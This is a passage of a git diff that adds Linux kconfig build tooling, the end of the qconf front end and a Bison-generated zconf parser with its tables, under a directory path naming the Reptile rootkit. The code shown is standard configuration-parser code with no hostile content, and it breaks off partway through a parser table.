configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped new file mode 100644 index 0000000..f343030 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = &yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] = +{ + 0, 36, 37, 37, 38, 38, 39, 39, 39, 39, + 39, 39, 39, 39, 40, 40, 40, 40, 40, 40, + 40, 40, 41, 41, 41, 41, 41, 41, 42, 42, + 43, 44, 45, 46, 47, 47, 47, 47, 47, 47, + 47, 48, 48, 48, 48, 48, 49, 50, 50, 51, + 51, 52, 53, 54, 55, 56, 56, 56, 56, 56, + 56, 57, 57, 57, 57, 58, 58, 59, 60, 61, + 62, 62, 62, 62, 63, 64, 65, 66, 67, 68, + 68, 68, 68, 69, 70, 71, 72, 73, 74, 74, + 74, 74, 75, 76, 76, 76, 77, 78, 78, 79, + 79, 80, 80, 80, 81, 81, 82, 82, 83, 83, + 83, 83, 83, 83, 83, 84, 84, 85, 85 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const yytype_uint8 yyr2[] = +{ + 0, 2, 2, 1, 2, 1, 0, 2, 2, 2, + 2, 4, 4, 3, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 3, 2, + 3, 2, 3, 2, 0, 2, 2, 2, 2, 2, + 2, 3, 4, 4, 4, 5, 3, 0, 3, 0, + 2, 3, 2, 1, 3, 0, 2, 2, 2, 2, + 2, 4, 3, 2, 4, 0, 2, 3, 1, 3, + 0, 2, 2, 2, 3, 3, 3, 1, 3, 0, + 2, 2, 2, 3, 3, 2, 2, 2, 0, 2, + 2, 2, 4, 0, 2, 2, 2, 0, 2, 1, + 1, 2, 2, 2, 1, 2, 0, 2, 1, 3, + 3, 3, 2, 3, 3, 1, 1, 0, 1 +}; + +/* YYDEFACT[STATE-NAME] -- Default reduction number in state STATE-NUM. + Performed when YYTABLE doesn't specify something else to do. Zero + means the default is an error. */ +static const yytype_uint8 yydefact[] = +{ + 6, 0, 104, 0, 3, 0, 6, 6, 99, 100, + 0, 1, 0, 0, 0, 0, 117, 0, 0, 0, + 0, 0, 0, 14, 18, 15, 16, 20, 17, 19, + 21, 0, 22, 0, 7, 34, 25, 34, 26, 55, + 65, 8, 70, 23, 93, 79, 9, 27, 88, 24, + 10, 0, 105, 2, 74, 13, 0, 101, 0, 118, + 0, 102, 0, 0, 0, 115, 116, 0, 0, 0, + 108, 103, 0, 0, 0, 0, 0, 0, 0, 88, + 0, 0, 75, 83, 51, 84, 30, 32, 0, 112, + 0, 0, 67, 0, 0, 11, 12, 0, 0, 0, + 0, 97, 0, 0, 0, 47, 0, 40, 39, 35, + 36, 0, 38, 37, 0, 0, 97, 0, 59, 60, + 56, 58, 57, 66, 54, 53, 71, 73, 69, 72, + 68, 106, 95, 0, 94, 80, 82, 78, 81, 77, + 90, 91, 89, 111, 113, 114, 110, 109, 29, 86, + 0, 106, 0, 106, 106, 106, 0, 0, 0, 87, + 63, 106, 0, 106, 0, 96, 0, 0, 41, 98, + 0, 0, 106, 49, 46, 28, 0, 62, 0, 107, + 92, 42, 43, 44, 0, 0, 48, 61, 64, 45, + 50 +}; + +/* YYDEFGOTO[NTERM-NUM]. */ +static const yytype_int16 yydefgoto[] = +{ + -1, 3, 4, 5, 33, 34, 108, 35, 36, 37, + 38, 74, 109, 110, 157, 186, 39, 40, 124, 41, + 76, 120, 77, 42, 128, 43, 78, 6, 44, 45, + 137, 46, 80, 47, 48, 49, 111, 112, 81, 113, + 79, 134, 152, 153, 50, 7, 165, 69, 70, 60 +}; + +/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing + STATE-NUM. */ +#define YYPACT_NINF -90 +static const yytype_int16 yypact[] = +{ + 4, 42, -90, 96, -90, 111, -90, 15, -90, -90, + 75, -90, 82, 42, 104, 42, 110, 107, 42, 115, + 125, -4, 121, -90, -90, -90, -90, -90, -90, -90, + -90, 162, -90, 163, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 139, -90, -90, 138, -90, 142, -90, 143, -90, + 152, -90, 164, 167, 168, -90, -90, -4, -4, 77, + -18, -90, 177, 185, 33, 71, 195, 247, 236, -2, + 236, 171, -90, -90, -90, -90, -90, -90, 41, -90, + -4, -4, 138, 97, 97, -90, -90, 186, 187, 194, + 42, 42, -4, 196, 97, -90, 219, -90, -90, -90, + -90, 210, -90, -90, 204, 42, 42, 199, -90, -90, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, 222, -90, 223, -90, -90, -90, -90, -90, -90, + -90, -90, -90, -90, 215, -90, -90, -90, -90, -90, + -4, 222, 228, 222, -5, 222, 97, 35, 229, -90, + -90, 222, 232, 222, -4, -90, 135, 233, -90, -90, + 234, 235, 222, 240, -90, -90, 237, -90, 239, -13, + -90, -90, -90, -90, 244, 42, -90, -90, -90, -90, + -90 +}; + +/* YYPGOTO[NTERM-NUM]. */ +static const yytype_int16 yypgoto[] = +{ + -90, -90, 269, 271, -90, 23, -70, -90, -90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 